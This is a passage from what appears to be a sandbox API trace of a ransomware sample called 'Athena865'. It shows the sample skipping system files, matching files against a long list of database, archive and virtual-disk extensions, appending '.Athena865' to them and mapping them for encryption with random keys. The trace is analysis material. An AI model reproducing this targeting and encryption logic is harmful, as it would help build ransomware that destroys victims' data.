(hProv=0x519c40, dwFlags=0x0) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.015] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.016] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.016] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.016] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.022] CloseHandle (hObject=0x154) returned 1 [0115.022] CloseHandle (hObject=0x17c) returned 1 [0115.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.025] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2=".") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="..") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="windows") returned -1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="bootmgr") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="temp") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="pagefile.sys") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="boot") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="ids.txt") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="ntuser.dat") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="perflogs") returned 1 [0115.025] lstrcmpiW (lpString1="USP10.DLL", lpString2="MSBuild") returned 1 [0115.025] lstrlenW (lpString="USP10.DLL") returned 9 [0115.025] lstrcpyW (in: lpString1=0x241e8b8, lpString2="USP10.DLL" | out: lpString1="USP10.DLL") returned="USP10.DLL" [0115.025] lstrlenW (lpString="USP10.DLL") returned 9 [0115.025] lstrlenW (lpString="Athena865") returned 9 [0115.025] lstrlenW (lpString=".dll") returned 4 [0115.026] lstrcmpiW (lpString1="USP10.DLL", lpString2=".dll") returned 1 [0115.026] lstrlenW (lpString=".lnk") returned 4 [0115.026] lstrcmpiW (lpString1="USP10.DLL", lpString2=".lnk") returned 1 [0115.026] lstrlenW (lpString=".ini") returned 4 [0115.026] lstrcmpiW (lpString1="USP10.DLL", lpString2=".ini") returned 1 [0115.026] lstrlenW (lpString=".sys") returned 4 [0115.026] lstrcmpiW (lpString1="USP10.DLL", lpString2=".sys") returned 1 [0115.026] lstrlenW (lpString="USP10.DLL") returned 9 [0115.026] lstrlenW (lpString="bak") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0115.026] lstrlenW (lpString="ba_") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0115.026] lstrlenW (lpString="dbb") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0115.026] lstrlenW (lpString="vmdk") returned 4 [0115.026] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0115.026] lstrlenW (lpString="rar") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0115.026] lstrlenW (lpString="zip") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0115.026] lstrlenW (lpString="tgz") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0115.026] lstrlenW (lpString="vbox") returned 4 [0115.026] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0115.026] lstrlenW (lpString="vdi") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0115.026] lstrlenW (lpString="vhd") returned 3 [0115.026] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0115.026] lstrlenW (lpString="vhdx") returned 4 [0115.026] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0115.027] lstrlenW (lpString="avhd") returned 4 [0115.027] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0115.027] lstrlenW (lpString="db") returned 2 [0115.027] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0115.027] lstrlenW (lpString="db2") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0115.027] lstrlenW (lpString="db3") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0115.027] lstrlenW (lpString="dbf") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0115.027] lstrlenW (lpString="mdf") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0115.027] lstrlenW (lpString="mdb") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0115.027] lstrlenW (lpString="sql") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0115.027] lstrlenW (lpString="sqlite") returned 6 [0115.027] lstrcmpiW (lpString1="10.DLL", lpString2="sqlite") returned -1 [0115.027] lstrlenW (lpString="sqlite3") returned 7 [0115.027] lstrcmpiW (lpString1="P10.DLL", lpString2="sqlite3") returned -1 [0115.027] lstrlenW (lpString="sqlitedb") returned 8 [0115.027] lstrcmpiW (lpString1="SP10.DLL", lpString2="sqlitedb") returned -1 [0115.027] lstrlenW (lpString="xml") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0115.027] lstrlenW (lpString="$er") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0115.027] lstrlenW (lpString="4dd") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0115.027] lstrlenW (lpString="4dl") returned 3 [0115.027] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0115.027] lstrlenW (lpString="^^^") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0115.028] lstrlenW (lpString="abs") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0115.028] lstrlenW (lpString="abx") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0115.028] lstrlenW (lpString="accdb") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accdb") returned -1 [0115.028] lstrlenW (lpString="accdc") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accdc") returned -1 [0115.028] lstrlenW (lpString="accde") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accde") returned -1 [0115.028] lstrlenW (lpString="accdr") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accdr") returned -1 [0115.028] lstrlenW (lpString="accdt") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accdt") returned -1 [0115.028] lstrlenW (lpString="accdw") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accdw") returned -1 [0115.028] lstrlenW (lpString="accft") returned 5 [0115.028] lstrcmpiW (lpString1="0.DLL", lpString2="accft") returned -1 [0115.028] lstrlenW (lpString="adb") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.028] lstrlenW (lpString="adb") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0115.028] lstrlenW (lpString="ade") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0115.028] lstrlenW (lpString="adf") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0115.028] lstrlenW (lpString="adn") returned 3 [0115.028] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0115.028] lstrlenW (lpString="adp") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0115.029] lstrlenW (lpString="alf") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0115.029] lstrlenW (lpString="ask") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0115.029] lstrlenW (lpString="btr") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0115.029] lstrlenW (lpString="cat") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0115.029] lstrlenW (lpString="cdb") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0115.029] lstrlenW (lpString="ckp") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0115.029] lstrlenW (lpString="cma") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0115.029] lstrlenW (lpString="cpd") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0115.029] lstrlenW (lpString="dacpac") returned 6 [0115.029] lstrcmpiW (lpString1="10.DLL", lpString2="dacpac") returned -1 [0115.029] lstrlenW (lpString="dad") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0115.029] lstrlenW (lpString="dadiagrams") returned 10 [0115.029] lstrlenW (lpString="daschema") returned 8 [0115.029] lstrcmpiW (lpString1="SP10.DLL", lpString2="daschema") returned 1 [0115.029] lstrlenW (lpString="db-journal") returned 10 [0115.029] lstrlenW (lpString="db-shm") returned 6 [0115.029] lstrcmpiW (lpString1="10.DLL", lpString2="db-shm") returned -1 [0115.029] lstrlenW (lpString="db-wal") returned 6 [0115.029] lstrcmpiW (lpString1="10.DLL", lpString2="db-wal") returned -1 [0115.029] lstrlenW (lpString="dbc") returned 3 [0115.029] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0115.030] lstrlenW (lpString="dbs") returned 3 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0115.030] lstrlenW (lpString="dbt") returned 3 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0115.030] lstrlenW (lpString="dbv") returned 3 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0115.030] lstrlenW (lpString="dbx") returned 3 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0115.030] lstrlenW (lpString="dcb") returned 3 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0115.030] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0115.030] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.Athena865") returned 75 [0115.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.athena865"), dwFlags=0x1) returned 1 [0115.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.032] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=813824) returned 1 [0115.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.032] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.032] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.033] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.033] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.033] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc6e00, lpName=0x0) returned 0x154 [0115.034] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc6e00) returned 0x2d50000 [0115.063] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.064] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.064] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.064] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.064] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.064] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0115.072] CloseHandle (hObject=0x154) returned 1 [0115.072] CloseHandle (hObject=0x17c) returned 1 [0115.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.076] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2=".") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="..") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="windows") returned -1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="bootmgr") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="temp") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="pagefile.sys") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="boot") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="ids.txt") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="ntuser.dat") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="perflogs") returned 1 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2="MSBuild") returned 1 [0115.076] lstrlenW (lpString="VBAJET32.DLL") returned 12 [0115.076] lstrcpyW (in: lpString1=0x241e8b8, lpString2="VBAJET32.DLL" | out: lpString1="VBAJET32.DLL") returned="VBAJET32.DLL" [0115.076] lstrlenW (lpString="VBAJET32.DLL") returned 12 [0115.076] lstrlenW (lpString="Athena865") returned 9 [0115.076] lstrcmpiW (lpString1="JET32.DLL", lpString2="Athena865") returned 1 [0115.076] lstrlenW (lpString=".dll") returned 4 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2=".dll") returned 1 [0115.076] lstrlenW (lpString=".lnk") returned 4 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2=".lnk") returned 1 [0115.076] lstrlenW (lpString=".ini") returned 4 [0115.076] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2=".ini") returned 1 [0115.076] lstrlenW (lpString=".sys") returned 4 [0115.077] lstrcmpiW (lpString1="VBAJET32.DLL", lpString2=".sys") returned 1 [0115.077] lstrlenW (lpString="VBAJET32.DLL") returned 12 [0115.077] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.Athena865") returned 78 [0115.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.athena865"), dwFlags=0x1) returned 1 [0115.078] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.078] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49488) returned 1 [0115.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.078] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.078] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.079] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.079] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.079] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc450, lpName=0x0) returned 0x154 [0115.081] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc450) returned 0x100000 [0115.091] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.091] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.091] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.091] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.092] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.092] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.092] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.093] CloseHandle (hObject=0x154) returned 1 [0115.093] CloseHandle (hObject=0x17c) returned 1 [0115.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.093] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.093] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2=".") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="..") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="windows") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="bootmgr") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="temp") returned 1 [0115.093] lstrcmpiW (lpString1="WISC30.DLL", lpString2="pagefile.sys") returned 1 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2="boot") returned 1 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2="ids.txt") returned 1 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2="ntuser.dat") returned 1 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2="perflogs") returned 1 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2="MSBuild") returned 1 [0115.094] lstrlenW (lpString="WISC30.DLL") returned 10 [0115.094] lstrcpyW (in: lpString1=0x241e8b8, lpString2="WISC30.DLL" | out: lpString1="WISC30.DLL") returned="WISC30.DLL" [0115.094] lstrlenW (lpString="WISC30.DLL") returned 10 [0115.094] lstrlenW (lpString="Athena865") returned 9 [0115.094] lstrcmpiW (lpString1="ISC30.DLL", lpString2="Athena865") returned 1 [0115.094] lstrlenW (lpString=".dll") returned 4 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2=".dll") returned 1 [0115.094] lstrlenW (lpString=".lnk") returned 4 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2=".lnk") returned 1 [0115.094] lstrlenW (lpString=".ini") returned 4 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2=".ini") returned 1 [0115.094] lstrlenW (lpString=".sys") returned 4 [0115.094] lstrcmpiW (lpString1="WISC30.DLL", lpString2=".sys") returned 1 [0115.094] lstrlenW (lpString="WISC30.DLL") returned 10 [0115.094] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.Athena865") returned 76 [0115.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.athena865"), dwFlags=0x1) returned 1 [0115.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.097] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=147344) returned 1 [0115.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.097] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.097] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.098] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.098] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.098] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x24290, lpName=0x0) returned 0x154 [0115.100] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, 